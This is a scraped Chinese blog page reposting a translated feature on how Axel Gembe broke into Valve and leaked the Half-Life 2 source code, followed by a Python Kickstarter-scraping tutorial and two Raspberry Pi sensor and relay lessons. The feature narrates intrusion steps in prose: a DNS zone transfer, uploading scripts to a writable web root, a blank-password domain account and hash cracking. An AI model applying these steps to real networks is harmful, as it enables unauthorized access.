[骑上这只轮子,其他交通工具都黯然失色](http://www.geekfan.net/13003/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 偷了『半条命2』源代码的那小子 Date: 2014-11-10 URL: https://blog.wo.ai/archives/813 Categories: Uncategorized 2004年5月7日早6点,德国小镇黑林山区舍瑙,Axel Gembe醒来时发现床边围满了警察。全自动武器指着他的头,耳边响起一句“快起床,不准碰键盘”。 Geme知道他们此行的目的,但睡眼惺忪的,他还是问了原因。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c970f6831_7cc829d3gw1em69chscegj21400p0n1m.jpg) (『半条命2』壁纸) “你被指控入侵Valve公司网络,窃取视频游戏『半条命2』,泄露到互联网上,造成的损失超过2.5亿美元,”对方回答到。“穿好衣服。” 七个月前,2003年11月2日,在美国西雅图,Valve公司主管Gabe Newell醒来时发现公司开发了近五年的游戏源码被泄露到互联网上。 这个游戏本应该在几周之前发布,但由于团队开发滞后导致延误。滞后了12个月。半条命2要推迟发布,Newell还未承认会推迟多久。这次的泄露不只是经济上的威胁,也是一个很尴尬的场面。 思考这些迫在眉睫的问题片刻之后,Newell的脑中闪过许多问题。这件事是如何发生的?泄露是从公司内部流出的吗?团队中的哪些成员花费多年时间编写这个游戏却又可能在最后关头危及整个项目? [![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98186457c4_7cc829d3gw1em54n710tsj20fu0bwtbz.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/98186457c4_7cc829d3gw1em54n710tsj20fu0bwtbz.jpg "偷了『半条命2』源代码的那小子") 黑林山区舍瑙小镇,Gembe 2003年和他父亲居住的地方 如果不是内部问题,这件事又是如何让发生的?有人能够访问过Valve公司的网络服务器吗? 但是所有问题中最突出的,也是任何一个曾经被盗过东西的人都无可避免会想的问题:这是谁干的? # 反叛者1号 “我进入黑客领域是在自己被病毒感染之后,”Gembe今天说。“那是一个伪装成魔兽争霸3密钥生成器的程序,我愚蠢地运行了那个程序。那是sdbot程序,当时很流行的一款恶意软件。” 这个年轻的德国人很快意识到他在自己的电脑上安装了什么。但是他没有删除该恶意软件,也没有遗忘,而是对该程序进行逆向工程,查看它是如何工作的,做了哪些事情。 被控制的恶意软件引导他进入IRC服务器。通过追踪,Gembe能够定位恶意软件的操纵者。Gembe没有举报这个人,而是就这款恶意软件向他请教了些许问题。他有了一个计划。. “虽然现在我的Steam账户上有2000欧元,但是在那时我买不起游戏,”他解释道。 “所以为了解锁那些我想要玩的关卡,我编写自己的恶意软件用来窃取光盘密钥。它立刻成为当时最优秀的恶意软件之一,主要是因为我开始利用Windows平台的漏洞编写一些补丁。” ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2bb23942b4_7cc829d3gw1em54n7yc0wj20go0c675e.jpg) # 跟随弗里曼 一发现突破口,Newell的第一个想法是去警局。第二个想法是去接近游戏玩家。 2003年11月2日晚上11点,Newell在『半条命2』官方论坛上发布一则消息,题为“我需要社区援助。” “是的,已经发布的源代码是『半条命2』的源码,”消息中他承认。Newell接着概述了Valve公司到目前为止能够团结在一起的事实。 他解释道,有人在近三周前登录了他的邮件账户。不仅仅如此,公司里的大部分主机上都被安装了击键记录程序。据Newell所言,这些程序是专门以Valve公司为目标所创建,所以这些程序不能被任何的病毒扫描程序发现。 不管是谁做的,这个人聪明能干,对他的公司非常感兴趣。但为什么要这样做? # 进入地点 虽然不可否认剥削和伤害,但Gembe编写恶意软件的罪行是受游戏热情驱使而并非利润。 他最喜欢的游戏是半条命。在2002年,像很多系列粉丝一样,Gembe对即将发布的续集的细节非常痴迷。当时他就产生了这种想法。如果他能入侵Valve的网络,他就可能发现一些其他游戏玩家不知道的东西。 一个不善社交,在艰苦环境中成长的人,通过吸纳社区玩家提供内幕消息能够在社区中获取地位。这值得尝试。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d7a9efabe_7cc829d3gw1em54n8wn2ej209k08caah.jpg) “我真没期望能得到什么,”Gembe说。“但是第一次入侵很容易。事实上是偶然发生的。” “当时我正在浏览Valve网站,查找我认为可能存放游戏的可访问网页服务器。Valve的网站对外部来说非常安全,但缺点是他们的域名允许匿名AXFRs,这给了我很多信息” AXFR全称是匿名完整区域传送,一个用于同步主服务器数据到备份DNS服务器的工具。但这也是黑客们用来偷窥一个网站数据的协议。通过传输这些数据,Gemebe发现ValveSoftware.com所有子域名。 “在端口浏览记录中,我发现一个很有趣的服务器,它从Valve网站延伸到另一家名叫Tangis的公司,这家公司致力于可穿戴计算设备,”他说。 “该服务器网页根目录是公开可写的,这样我能够上传ASP脚本到该目录并通过网页服务器执行这些脚本。Valve在内部网络中没有对该服务器使用防火墙。” Gembe首次尝试就发现一个无防备的通路可以进入网站。 “Valve的主域控制器用户名为‘build’,密码为空,”他说。“这允许我找出系统的哈希密码。于此同时, Eidgenössische Technische Hochschule Zürich 提供了一个在线的哈希破解器”,所以我能立刻破解密码。“ ”一旦我完成了那些…那么,基本上我就拥有了通往这个王国的钥匙。“ # 牵连设备 此时,Gembe并不担心踪迹的掩盖。到目前为止,他没有什么要隐藏的。但是随着探索的深入,他想确认自己是否仍未被发现。 “那时我唯一关心的不被踢出,”他说。”但是我能够访问数量无限的代理服务器,所以我并不担心。首先,我找到一个可以建立某种隐藏的主机。“ Gembe开始四处查找游戏的信息。他发现了各种游戏开发的设计文档和备注。这正是他期望查找的,也是他此行的目的。 过了几周时间,Gembe意识到Valve内部没有人注意到他存在于公司网络中。他开始一点点前进。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/24a65e538c_7cc829d3gw1em54n9uegrj20go0ah3yz.jpg) 就在那个时候他点击了下载,获取了期待已久的游戏的源代码。 这太有诱惑力了。在2003年9月19号,Gemebe点击了下载按钮,偷走了Valve的王冠。 “获取源代码很容易,感谢Perforce客户端的网络性能,但用SourceSafe客户端获取游戏数据却很可怕,”他解释道。 “因为这个原因,我编写了自己的客户端,该客户端通过TCP有自己的数据传输机制,通过散列检测发生变化的文件并进行传输。” “游戏并不能在我的计算机上运行。我对一些代码做了修改让它在一个基本形式下运行,没有着色器或其他任何设备,但这并不好玩。还有,我仅仅拥有游戏开发的主分支。他们有很多开发分支以至于我甚至没有来得及去检测它们。” 直至今日,Gembe依旧坚持他不是上传源代码到网络的人。但是不可否认的是让将源代码给了那个上传代码的人。 “我不这么认为,”他说。“当然,这有一些吹嘘的成份。但我分享源代码给那个人时,他承诺我不会外传。但他没有。” 一旦游戏出现在BT上,它就无处不在。 “事情已经发生,”Gembe说。“你无法能阻止网络。” # “好日子” 社区对Newell的求助响应不一。有些人对失窃表示同情,其他人感觉被Valve欺骗,因为他们本一直相信游戏会按计划在2003年末发布。 除了一些领导,没人能提供可能的犯罪信息。联邦调查局参与到调查中来,但却一无所获。 由于泄露事件,此时Valve公司奋战数月的的团队有些不知所措。这个游戏的开发每月花费公司一百万美元,而且还远未结束。此次的泄露不仅造成了经济损失,而且打消了本已疲惫不堪的团队的积极性。一位年轻的设计者问Newell,“这会导致公司破产吗?” ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cc6e7d7b39_7cc829d3gw1em54nay4poj208c05i3yl.jpg) 2004年2月15日上午6点18分,Valve的总经理收到一封来自‘Da Guy’的无标题邮件。 邮件在宣称对数月前入侵Valve网络负责之前,以“你好,Gabe”开篇。 Newell起初不确定是否应该相信这封邮件。但是邮件中的两个附件只有拥有Valve服务器特定领域访问权限的人才能获取,这表明了邮件中的信息是真实的。 在『半条命2』被发布到网上五个月后,所有领导都不再关注这件事后很久,Newell的人出现在他的门前。 # 沙地陷阱 Gembe为什么发送那封邮件?”因为我对发生的事情感到抱歉,“他说。”我希望他们知道这事是谁干的,而不希望事情按他们的方式解决。“ 但Gembe做的并不止这些。这个年轻人找到了弥补自己罪行的正面方式,对双方都有利。在一封邮件中,他询问Newell是否愿意雇佣他。 “我那时很单纯,”他说。”能在一家游戏开发公司工作一直是我的梦想,所以我问了他们。希望他们能够原谅我做的事,主要因为那不是故意的。” 令Gembe惊讶的是,过了一些日子Newell回复并同意了,Valve对他很感兴趣。Newell问Gembe是否愿意进行一次电话面试。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38c2cc6ded_7cc829d3gw1em54nbx6f9j20go0cidgx.jpg) 这项提议背后的真正动机并不是去评估Gembe是否是公司岗位的合适人选。而是为了让Gembe坦诚对泄露事件负责。这是联邦调查局的老套路,通过满足对方的自豪感来获取供认。 Gembe虽然有所顾虑,但还是将顾虑抛至脑后。“希望事情向好的一面发展,”他说。“但事实上我并不是很聪明。” 他回忆了与Counter-Strike和Steam游戏开发者Alfred Reynolds以及Portal作家Eric Wolpaw的电话面试,但他可能错了。(事实上,Wolpaw说他当时尚未加入公司。) “首先,他们想知道我是如何黑进他们的网络。我详细地告诉了他们。然后,他们了解了我的经验和技能。我仍然记得他们对我能说一口不带任何口音的流利英语非常惊讶。” 三人谈论了四十分钟。在自己的英雄事迹面前,Gembe所有的愧疚感都消散了。但比起当他收到二次面试时肾上腺素上升,这根本算不上什么。这将是一次在美国西雅图Valve总部的现场面试。 设置好陷阱之后,Valve和FBI需要获取Gembe的签证(以及他的父亲和兄弟,并询问他们能否一起陪他来美国)。但是他们担心Gembe一直访问Valve的服务器会造成潜在损害。所以FBI联系了德国警方,提醒他们这项计划。 # 17号高速公路 没过多久,Gembe醒来时发现自己躺在枪杆之下。他穿上衣服,在武警战士的护送下挤进他父亲家狭小的走廊走下楼。 “在离开前我能弄点吃的吗?”Gembe问。 “没问题,”其中一个警察说道。 Gembe伸手拿了一把面包刀切几片面包。“屋内所有的警察对我举起步枪,”他说。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/87bc5d6478_7cc829d3gw1em54nde0kfj20go0ardi1.jpg) 喝了一杯咖啡,抽了一根雪茄,他爬进一辆面包车尾部,被带向当地警局。在那里局长接见了他。局长走向Gembe,看着他说,“我们在你登机前找到你,你有没有觉得自己很幸运?” Gembe被警察审讯了三个小时。“他们问的大部分问题是关于Sasser-Worm,”他说,Sasser是一种特别厉害的恶意软件,该软件会让计算机运行易受攻击的Windows XP和Windows 2000版本。 “由于某种原因,他们认为我和Sasser有关,但我矢口否认。Sasser是当时的大新闻,在一次联合行动中,其作者Seven Jaschan和我在同一天被突击搜查,因为他们认为我会提醒他。” “和他一样,我的bot也利用了LSASS服务中相同的漏洞,除了没有让主机系统崩溃,所以我猜他们认为我给了他漏洞检测代码。当然,我否认了这一点,并告诉他们我从未写过如此劣质的代码。” 警察开始意识到Gembe与Sasser-Worm无关之后,他们开始问了Valve的事。 “我本可以拒绝回答并要求见律师,但我选择了毫无保留的告诉他们我知道一切,我猜他们很赞赏,”他说。“问我问题的人很喜欢我,因为他说’你并不向其他大部分人一样是个混蛋。‘那个部门主要负责儿童色情案件。” “我想当时我对他们很开放,因为我并不认为自己做了什么错事。“ Gembe被拘留候审两周。警察一度认为他不会逃跑后决定将他释放,条件是在他审讯前三年,每周要向他们登记三次。 # 我们的恩主 在他等待出庭的日子里,Gembe努力工作以改善自己的生活。他学成出师,在安全部门找了份工作,负责编写Windows程序,用于系统安全管理、数据库优化和服务器管理。 Axel Gembe的审讯持续了7个小时。尽管期间有《华尔街日报》的人出现,但Valve公司却没有人出席。除了安全漏洞,没有一项证据表明Gembe需要对『半条命2』的源代码在网络上发布负责。 然而Gembe承认入侵了Valve公司的网络。法官判他缓刑两年,他坎坷的童年以及他为改变生活所做的考量为他争取宽大的处理。 在审判时,『半条命2』已经售出860万套,它的成功似乎没有受到2003年11月4号泄露的影响。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bedac25b47_7cc829d3gw1em54ne2f3wj20go09ddgr.jpg) 现在Gembe 28岁。近十年来,他对『半条命2』的泄露极为后悔。 “我当时很年轻,做了一些自己不该做的事,”他说。“本应该好好利用自己的时间。我很后悔给Valve带来了困扰和经济损失。我也很后悔将一些大学作为恶意软件测试对象,给其带来经济上的损失。” “我对当时我做的所有非法事情感到后悔…我很庆幸在我被捕之前没做什么要用我一生来交换的事。” 这个偷了游戏人是谁?现在Axel Gembe会对Gabe Newell说什么? “我想说:我对自己做的事感到十分抱歉。我并非有意伤害你。如果能重新再来,我一定不会那么做。想到这些仍使我很伤感。我就喜欢就呆那儿,看你做的事,但最后我搞砸了。” “你是我最喜欢的开发者,我会一直支持你的游戏。” (注:限于[译者](mailto:"ashiontang@gmail.com")水平有限,不足之处恳请指正。) [偷了『半条命2』源代码的那小子](http://blog.jobbole.com/79450/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 用Python实现KickStarter跟踪器(1) Date: 2014-11-07 URL: https://blog.wo.ai/archives/812 Categories: Uncategorized 自从发现了[HDMIPi KickStarter](https://www.kickstarter.com/projects/697708033/hdmipi-affordable-9-high-def-screen-for-the-raspbe),我就经常关注KickStarter上其它的众筹项目。我现在就粉着4,5个项目。它们能实现目标吗?还是会失败呢?这很值得关注,但是密切关注1个或2个以上的项目是很浪费时间的。如果我能让一个小小的电脑和屏幕替我关注这些项目,比如,每分钟访问一次,然后再回馈它们的状态给我,不就很棒吗? 我知道一个非常赞的Python模块,urllib2。我以前就用它做过一些简单的事情。那么它到底有多难呢?答案是,真的不太难。我花了大概一个半小时用它来搭建基本框架,跟踪了1个项目。但是用了更多的时间来把其它的项目也添加进去,还有,把输出弄得好看一点(你也会这么做)。 ### **所以怎么实现呢?** 和所有程序一样,你只要把它分解为几个小部分就可以了。然后你就开始搬砖,记得每部分搬完之后要进行测试喔。其实基本上只要有个树莓派就够了… * 访问跟踪项目的Kickstarter页面 * 在html中查找我们想要的数据 * 把这些数据抓出来 * 让它优雅地出现在屏幕上 * 等一会儿 * 再全部执行一次 所以我们需要做的第一件事情就是想办法在网页的html中找到我们想要的数据。这需要费一点手动研究的功夫。 ### **查找数据** 许多浏览器都能查看html源代码。你只要访问你想跟踪的那个项目的网页,然后让你的浏览器查看就行了。在Mac上使用Chrome的话,它的步骤是这样的: _View > Developer > View Source_ [![programming a kickstarter1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55769b666c_programming-a-kickstarter1.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55769b666c_programming-a-kickstarter1.png "用Python实现KickStarter跟踪器(1)") 在这段源代码中使用快捷键CMD+F(PC是CTRL+F)来查找字符串pledged,我找到了一行有3个有效数据的代码。这是[HDMIPi KickStarter page](https://www.kickstarter.com/projects/697708033/hdmipi-affordable-9-high-def-screen-for-the-raspbe)的第842行。 我想要的大多数数据它都有,但我还想要知道项目的剩余时间。然后我在网页的上部找到了它。(HDMIPi page的第88行) 当然啦,进行中的项目所剩时间肯定和这个不一样的。(比如,16个小时或者24天什么的,而不是0秒) 所以我们就找到从2行HTML中抓有效信息的方法啦。 data-goal=”55000.0″ 告诉我们目标资金是多少(单位是英镑或者美元) data-percent-raised=”4.750008363636363636363636364″ 这个数字乘以100就是现在已经达到目标的百分之几了。在程序里,我们会把它分为两个部分。 data-pledged=”261250.46″ 告诉我们现在已经筹集到多少钱了 twitter:text:time” content=”0 seconds” 告诉我们这个项目还剩多少时间。 现在我们要做的就是让电脑找到它们,把源代码分离出来,切出数据,然后用你喜欢的方式来把它显示出来。听起来是不是灰常简单呀:) ### **开始搬砖** 所以要想知道如何找到数据,或者至少要知道它在哪一行的话,我必须要做点urllib2的功课了。我以前就知道它可以用来加载一个网页,只是方式比较野蛮。我在[Python官方文档](https://docs.python.org/2/howto/urllib2.html)里面发现了一个超棒的方法来完成。基本上,就是导入urllib2中所有需要的对象,然后把urlopen() 塞进 try: except: 中的空白就好了。这样的方法能够处理断网或者网页没有响应的情况。它不会退出程序,而是进入“Exception”,告诉你出什么错了,然后再运行一次。所以我刚才说它“野蛮”。 ### **现在我们加入****URL****吧** 如果我们不给someurl 一个URL网页地址的话,这段代码就是一个花瓶。所以我们就在上面添加传递地址的代码,并且让程序在html文件中查找我们需要的源代码行,找到之后把它们打印出来。 这个结果是在… _[![programming a kickstarter2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4da166be32_programming-a-kickstarter2-300x61.png)](http://fanyi.jobbole.com/wp-content/uploads/sites/9/2014/10/programming-a-kickstarter2.png "用Python实现KickStarter跟踪器(1)")_ ### **现在我们要分离代码行啦** 所以那2行源代码已经被我们找到了。现在我们要做的是将数据从源代码行中切出来。那这是怎么做到的呢?我们将用一个神器级函数, split() 来实现。 下面代码的第20行,我们写到 days_left=line.split(‘”‘)[3] ### 这是用 split() 来把整行源代码分离成… …N个字符串。每遇到字符 ” ,它就将前后字符串分离(并且删去 ” )。所以它就会把这行源代码分离成一个包含一下元素的变量列表: 如果把 line.split(‘”‘) 打印出来的话,就是这个样子的… [‘’] 列表第一个元素的位置是0。这就是它的下标。我们要找的‘0 seconds’,这个数据的下标是3。所以我们用[3]来“切出”我们所需的元素。 days_left=line.split(‘”‘)[3] (这个[3] 叫做“切片标记”) ### **完整的代码来了****…** 26行到34行是进一步的分离和切片。在使用此数据进行计算处理之前,我们还需要把这些数据转化成浮点型。 print ‘target: %.2f’ % float(target[1]) 这行代码把‘target’的第2个元素转化成浮点数,然后用 .2f 来保证打印出来的数字只含有2位小数。 **结果就是这个样子滴****** _[![programming a kickstarter3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2efadad855_programming-a-kickstarter3.png) ](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2efadad855_programming-a-kickstarter3.png "用Python实现KickStarter跟踪器(1)")_ 显然,你该在第4行的代码里换一个进行中的项目地址。 ### 目前为止我们做了… * 加载一个网页 * 查找数据所在的源代码行 * 分离此行源代码然后将所需的数据切出来。 * 把数据转化为我们能处理的东西(浮点数) * 只在屏幕上显示两位小数 这是一个很好的开端。下一部分,我们将继续完成… * 给输出结果“化个妆” * 添加更多项目 * 每过一段时间将它们循环一次 * [用Python实现KickStarter跟踪器(1)](http://www.geekfan.net/12881/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Adafruit的树莓派教程第十三课:电力控制 Date: 2014-11-06 URL: https://blog.wo.ai/archives/811 Categories: Uncategorized #### 概览 树莓派可以成为你家里强大的自动化控制终端,但最实用的应该是控制家用电器以及灯的打开关闭了。那就意味着小派应该能够安全的控制110V电力。 [![lesson13_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bf9364d5b4_abe9bf568e3f93dfc950d2e797271496.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bf9364d5b4_abe9bf568e3f93dfc950d2e797271496.jpg "Adafruit的树莓派教程第十三课:电力控制") 这节课里,你将学习把在[第十二课](http://www.boydwang.com/2014/08/adafruit-raspberry-pi-lesson-12-sensing-movement/ "Adafruit的树莓派教程第十二课:感知运动")中接触到的PIR\\(人体热式传感器\\)与Adafruit电力开关尾插Module 2型结合,在检测到与运动时自动开关设备。 #### 你需要的 要完成这节课的内容,你需要下面的东西: PIR 人体热式传感器 [![lesson13_2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/734e96038c_29edb52394fa0a2a41eec1bf7da051c0.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/734e96038c_29edb52394fa0a2a41eec1bf7da051c0.jpg "Adafruit的树莓派教程第十三课:电力控制") 电力开关尾插2型模块(Powerswitch Tail 2 Module) [![lesson13_3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f586e22029_fae1b03583a4558cc2d0c1d39a006a35.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f586e22029_fae1b03583a4558cc2d0c1d39a006a35.jpg "Adafruit的树莓派教程第十三课:电力控制") 树莓派扩展板 [![lesson12_4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c33cd89b50_7a721b9c7ef9ce89aa4c39b5578593ac.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c33cd89b50_7a721b9c7ef9ce89aa4c39b5578593ac.jpg "Adafruit的树莓派教程第十三课:电力控制") 小块面包板 [![lesson12_5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d7f4ef5bd_fbb14e041fcb05df9f98894cc3c83811.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d7f4ef5bd_fbb14e041fcb05df9f98894cc3c83811.jpg "Adafruit的树莓派教程第十三课:电力控制") 树莓派 [![lesson12_7](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f55d77edcc_26ea130d8c1c2a7d525d84876bb1939e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f55d77edcc_26ea130d8c1c2a7d525d84876bb1939e.jpg "Adafruit的树莓派教程第十三课:电力控制") 一把跳线 [![lesson12_6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d074e0da68_ad5c6c6b5e2a9e85815ed6b97d2d3a1a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d074e0da68_ad5c6c6b5e2a9e85815ed6b97d2d3a1a.jpg "Adafruit的树莓派教程第十三课:电力控制") #### 硬件部分 Adafruit电力开关尾插2型看起来是一个110V插头中间带了一个小盒子。 > 如果你主要使用的是220V电压,那么这篇教程不适合你 – 如果我们获悉了某种等效的220V电力控制器,我们会在这里附上链接的 [![lesson13_3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f586e22029_fae1b03583a4558cc2d0c1d39a006a35.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f586e22029_fae1b03583a4558cc2d0c1d39a006a35.jpg "Adafruit的树莓派教程第十三课:电力控制") 那个小盒子实际上是一个光隔离固态继电器。光隔离的意思是实际上在低电压与100V主电压转换之间并没有电力连接。这对于小派来说非常的安全,大大降低了烧毁小派的可能性。 更进一步的是它的控制输入电流是3mA,输入电压是3.3V,这意味着我们能够直接通过小派的输出针脚控制它。 PIR传感器将会连接到与第十二课不同的针脚上,所以请确保黄色针脚连接正确。 [![lesson13_4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f17c7bbd92_25f30931641b51d535382a231faaeb11.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f17c7bbd92_25f30931641b51d535382a231faaeb11.png "Adafruit的树莓派教程第十三课:电力控制") 电力开关尾插带有一个LED指示灯来显示它是否是开着的,所以你不需要在上面连接高电压。 #### 软件部分 这个项目可能是所有自动控制灯项目中被过度设计(over-engineered)的一个。实际上你不需要一个树莓派来开关电力,但是这个实例可以很容易的被应用到其他用途上。比如,你可以通过结合温度,湿度,光线或者一些互联网的天气预报信息来控制加热器,风扇或者是加湿器。 import time import RPi.GPIO as io io.setmode(io.BCM) pir_pin = 24 power_pin = 23 io.setup(pir_pin, io.IN) io.setup(power_pin, io.OUT) io.output(power_pin, False) while True: if io.input(pir_pin): print("POWER ON") io.output(power_pin, True) time.sleep(20); print("POWER OFF") io.output(power_pin, False) time.sleep(5) time.sleep(1) 这个程序首先设置了两个用到的GPIO针脚,一个用于把PIR传感器作为输入,另一个输出到电力开关尾插上。 主循环一直等待PIR传感器侦测运动,然后打印一条信息,之后打开电力开关,等待20秒之后关闭开关。 一旦输出被打开,那么将会等待5秒防止在5秒内重新触发输出。 然后每次循环会延迟一秒。 #### 测试与配置 有许多方式可以连接到你的树莓派上。也许最简单的方式是使用SSH(见[第六课](http://www.geekfan.net/9128/ "Adafruit的树莓派教程第六课:使用SSH"))并使用下面的命令打开一个编辑器: nano powerswitch.py 然后粘贴代码,并按Ctrl+X保存。 [![lesson13_5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fbeb31ca29_c8908b5f196ac2aa982403faaa5d3aa2.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fbeb31ca29_c8908b5f196ac2aa982403faaa5d3aa2.png "Adafruit的树莓派教程第十三课:电力控制") 在开始运行之前,拿东西改在PIR传感器上,这样它就不会在你没准备好之前激活了。 然后使用下面的命令运行程序: sudo python powerswitch.py 拿走PIR上面的覆盖物你应该能看到一条”POWER ON”输出然后电力开关上的小LED会点亮,并在20秒之后熄灭。 > 在代码里不要猛烈地开关电力。许多设备,包括灯泡在频繁开关时都会造成损坏。这种设计至少要等待几秒再打开或关闭电力。 [Adafruit的树莓派教程第十三课:电力控制](http://www.geekfan.net/11993/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Adafruit的树莓派教程第十二课:感知运动 Date: 2014-11-05 URL: https://blog.wo.ai/archives/810 Categories: Uncategorized ### 概览 在这节课里,你将学习到如何使用PIR人体热式传感器连接GPIO来激活门禁。 [![lesson12_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6476e287bb_e203f7b1f1c4ccf95864fd86116d8769.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6476e287bb_e203f7b1f1c4ccf95864fd86116d8769.jpg "Adafruit的树莓派教程第十二课:感知运动") 这节课,我们将把注意力放到感知运动和激活门禁开关上。我们会在第十三课构建这个安全感知系统,使用小派作为数字输出来在侦测到运动时控制电力设备。 ### 你需要的 要完成这节课讲述的内容,你需要下面的东西。 PIR人体热式传感器([Adafruit 189号产品](http://www.adafruit.com/products/189)) [![lesson12_2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0ed3aff6fe_347157ea308ddcb60ee2685042574b96.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0ed3aff6fe_347157ea308ddcb60ee2685042574b96.jpg "Adafruit的树莓派教程第十二课:感知运动") 电磁门禁传感器([Adafruit 375号产品](http://www.adafruit.com/products/375)) [![lesson12_3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/99e1a13888_f5a10e37fecc28d3bb81d605fa1675ea.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/99e1a13888_f5a10e37fecc28d3bb81d605fa1675ea.jpg "Adafruit的树莓派教程第十二课:感知运动") 树莓派扩展板 [![lesson12_4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c0efcdf62_7a721b9c7ef9ce89aa4c39b5578593ac.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c0efcdf62_7a721b9c7ef9ce89aa4c39b5578593ac.jpg "Adafruit的树莓派教程第十二课:感知运动") 小型面包板 [![lesson12_5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1eb3c84ed_fbb14e041fcb05df9f98894cc3c83811.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1eb3c84ed_fbb14e041fcb05df9f98894cc3c83811.jpg "Adafruit的树莓派教程第十二课:感知运动") 一把跳线 [![lesson12_6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d5babc9e2_ad5c6c6b5e2a9e85815ed6b97d2d3a1a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d5babc9e2_ad5c6c6b5e2a9e85815ed6b97d2d3a1a.jpg "Adafruit的树莓派教程第十二课:感知运动") 最后,当然是小派啦 [![lesson12_7](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65de97abbe_26ea130d8c1c2a7d525d84876bb1939e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/65de97abbe_26ea130d8c1c2a7d525d84876bb1939e.jpg "Adafruit的树莓派教程第十二课:感知运动") ### 硬件部分 我们将会把两个传感器都连接到树莓派上。两个传感器都不需要额外的部件。 [![lesson12_8](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93ddec433c_8443f55d5dfbf662048ffd20bacafb7c.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/93ddec433c_8443f55d5dfbf662048ffd20bacafb7c.png "Adafruit的树莓派教程第十二课:感知运动") PIR人体热式传感器是带插座的引脚。一定要确保引脚插得是正确的,红色的应该插在5V上,黑色接地,黄色的插在扩展板的18引脚上。 [![lesson12_9](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd6b4e2dea_40c694a9007636f2a4a59ef38b160387.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bd6b4e2dea_40c694a9007636f2a4a59ef38b160387.jpg "Adafruit的树莓派教程第十二课:感知运动") 尽管PIR传感器需要5V的电源供电,但它的输出却是对小派友好的3.3V,所以它可以直接连接到GPIO的上作为输入。 门禁开关使用了一个叫做磁簧开关(reed switch)的东西。在一个玻璃管里装着两个簧片相互连接,然后外面包裹着塑料。当一个磁性物体(另一个白色方块)靠近这个磁簧开关的时候,两个簧片接触,然后开关关闭。因为这是个开关,所以正着接反着接都行。 我们会利用小派自身来在磁簧开关针脚上创建一个内部的上拉电阻,所以我们就不需要额外的上拉电阻了。 ### 软件部分 这个程序只是一个循环,在侦测到运动的时候打印一个消息,或者磁力从门上移除。 程序使用了Rpi.GPIO类库。见[第四课](http://www.geekfan.net/8972/ "Adafruit的树莓派教程第四课:GPIO配置")。 import time import RPi.GPIO as io io.setmode(io.BCM) pir_pin = 18 door_pin = 23 io.setup(pir_pin, io.IN) # activate input io.setup(door_pin, io.IN, pull_up_down=io.PUD_UP) # activate input with PullUp while True: if io.input(pir_pin): print("PIR ALARM!") if io.input(door_pin): print("DOOR ALARM!") time.sleep(0.5) 程序里把pir_pin置为一个普通的输入针(a plain old input)。这是因为PIR传感器有一个3.3V或0V的数字输出。与之相比,door_pin是一个开关,不会产生电压作为数字输入。所以,这个输入针使用了一个额外的参数(pull_up_down=io.PUD_UP)。这将激活一个内部的电阻使得输入变高(上拉)除非有更强的电流(比如开关接地)来把它拉低。 然后循环轮流读取输入然后打印一条响应的消息。记住门禁开关报警只会在磁力从传感器附近移除时才会被激活。 ### 配置与测试 